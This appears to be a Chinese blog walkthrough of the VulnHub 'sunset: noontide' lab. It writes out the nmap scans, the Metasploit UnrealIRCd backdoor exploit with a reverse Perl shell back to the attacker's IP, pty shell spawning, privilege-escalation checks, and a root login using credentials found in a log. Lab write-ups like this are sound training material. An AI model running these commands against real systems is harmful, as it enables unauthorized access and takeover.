当前位置: 首页 > java >正文

sunset: noontide靶场

sunset: noontide

来自 <sunset: noontide ~ VulnHub>

 

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.142

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.142

端口

状态

服务

版本

6667

open

IRC

UnrealIRCd

6697

open

IRC

UnrealIRCd

8067

open

IRC

UnrealIRCd

2.1 端口含义

  • 6667/tcp:IRC(Internet Relay Chat)标准端口
  • 6697/tcp:IRC TLS/SSL 加密端口
  • 8067/tcp:自定义 IRC 端口,通常 UnrealIRCd 默认可能使用

2.2 服务版本

  • UnrealIRCd:知名 IRC 服务器软件
  • 潜在风险
    • UnrealIRCd 过去存在过严重远程命令执行漏洞(如 2010 年的 3.2.8.1 backdoor 漏洞)
    • 端口 6667/6697 暴露在网络上,可能被扫描和攻击
  • 服务信息
    • Service Info: Host: irc.foonet.com → IRC 主机名被识别,便于社工和定向攻击

 

4,直接检索这个服务组件是否存在过往漏洞

searchsploit UnrealIRCd  

这里尝试直接使用metasploit进行攻击

msfconsole -q

search UnrealIRCd

use exploit/unix/irc/unreal_ircd_3281_backdoor

查看需要配置的内容 options

set payload/cmd/unix/reverse_perl

set RHOSTS 192.168.23.142

set LHOST 192.168.23.128

set VERBOSE true

set RPORT 6667      

run

成功getshell

 

5,再通过python得到交互式shell然后信息收集

python3 -c 'import pty;pty.spawn("/bin/bash")'

6,提权前的预备操作说明

1. sudo 权限检查

首先使用 sudo -l 查看当前用户是否能够以其他用户权限执行特定命令,结果显示系统中不存在 sudo 命令。

2. SUID 文件检查

查找系统中具有 SUID 位的文件:

find / -perm -u=s -type f -ls 2>/dev/null

发现系统中存在不少 SUID 文件,但均不可利用。

3. Cron 定时任务检查

find /var/spool/cron/ -type f -ls 2>/dev/null

发现没有定时任务文件。

4. 内核及系统漏洞检查

获取内核版本:

uname -r

结果显示内核版本为 4.19.0;

获取操作系统发行版本:

cat /etc/*release

系统为 Debian Linux 10。再搜索本地提权漏洞:

searchsploit 4. Debian Linux 10

未发现适用于当前系统的本地提权漏洞

 

7,在/home/server/irc/Unreal3.2/ircd.log中发现连接记录Connect - root!root@192.168.100.139

cat /home/server/irc/Unreal3.2/ircd.log

由此获得泄露的账户密码root/root

最后提权成功,得到flag

http://www.xdnf.cn/news/19500.html

相关文章:

  • AlphaFold 2 本地部署与安装教程(Linux)
  • 高速CANFD通讯接口芯片ASM1042性能分析与5Mbps多节点测验
  • 包的相对导入
  • MPI-NCCL-TEST 训练自检,基础通信和可用的机器
  • 《Bishop PRML》10.1 (3) 理解VAE KL loss
  • 【贪心算法】day5
  • PPO、DPO和GRPO的区别
  • Python实现BP神经网络
  • 利用美团longcat.ai编写的C语言支持指定压缩算法通用ZIP压缩程序
  • 硬件工程师成长之路:从入门到精通的技术旅程
  • 科学研究系统性思维的方法体系:研究设计相关模版
  • go 开发环境配置 air + dlv debug 踩坑之旅
  • Linux shell 脚本基础 003
  • C6.7:输入电阻的负载效应及其CE负反馈放大器
  • android-studio 安装
  • Mysql中事务隔离级别有哪些?
  • Java实习:MySQL篇(黑马JavaWeb课程)
  • 简单的加密算法
  • PostgreSQL表膨胀的危害与解决方案
  • 人工神经网络(ANN)深度学习
  • 开源 C++ QT Widget 开发(九)图表--仪表盘
  • dayjs ​JavaScript 时间日期处理库
  • P2P技术应用:去中心化
  • Java全栈开发面试实战:从基础到微服务的全面解析
  • NAS Docker 安装N8N
  • 鸿蒙ArkTS 核心篇-18-@Builder 自定义构建函数
  • 上海交大具身导航中的感知智能、社会智能和运动智能全面综述
  • 数值分析——非线性方程与方程组的数值解法之二分法
  • APB协议​​ 构建一个完整的 ​​UVM验证VIP Agent介绍类的要素
  • 壁纸、logo、短视频去水印